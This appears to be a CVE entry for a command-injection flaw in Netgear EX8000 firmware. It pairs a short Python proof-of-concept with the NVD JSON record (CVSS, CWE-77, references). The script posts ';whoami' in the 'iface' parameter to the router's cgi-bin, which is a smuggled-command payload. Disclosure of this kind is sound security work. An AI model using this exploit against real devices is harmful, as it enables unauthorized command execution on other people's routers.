CVE-2025-45493

import requests # CVE-2025-45493 PoC - Netgear EX8000 Command Injection # Target: Netgear EX8000 V1.0.0.126 # Endpoint: action_bandwidth function with iface parameter target_ip = "192.168.1.1" # Router default IP target_url = f"http://{target_ip}/cgi-bin/" # Payload to inject command: whoami # Using semicolon to chain commands injected_cmd = ";whoami" payload = { "iface": injected_cmd, "action": "bandwidth" } try: response = requests.post(target_url, data=payload, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

{"cve": {"id": "CVE-2025-45493", "sourceIdentifier": "[email protected]", "published": "2025-12-23T16:16:22.383", "lastModified": "2026-01-05T18:13:19.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netgear EX8000 V1.0.0.126 is vulnerable to Command Injection via the iface parameter in the action_bandwidth function."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:ex8000_firmware:1.0.0.126:*:*:*:*:*:*:*", "matchCriteriaId": "F2BA94AB-B85E-4EA2-9DF0-CDBED59930EA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:ex8000:-:*:*:*:*:*:*:*", "matchCriteriaId": "8D9781C9-799A-4BDA-A027-987627A01633"}]}]}], "references": [{"url": "https://github.com/JZP018/vuln03/blob/main/netgear/EX8000/cve-netgear_EX8000_CI_action_bandwidth.pdf", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/JZP018/vuln03/blob/main/netgear/EX8000/netgear_EX8000_CI_action_bandwidth.mp4", "source": "[email protected]", "tags": ["Broken Link"]}]}}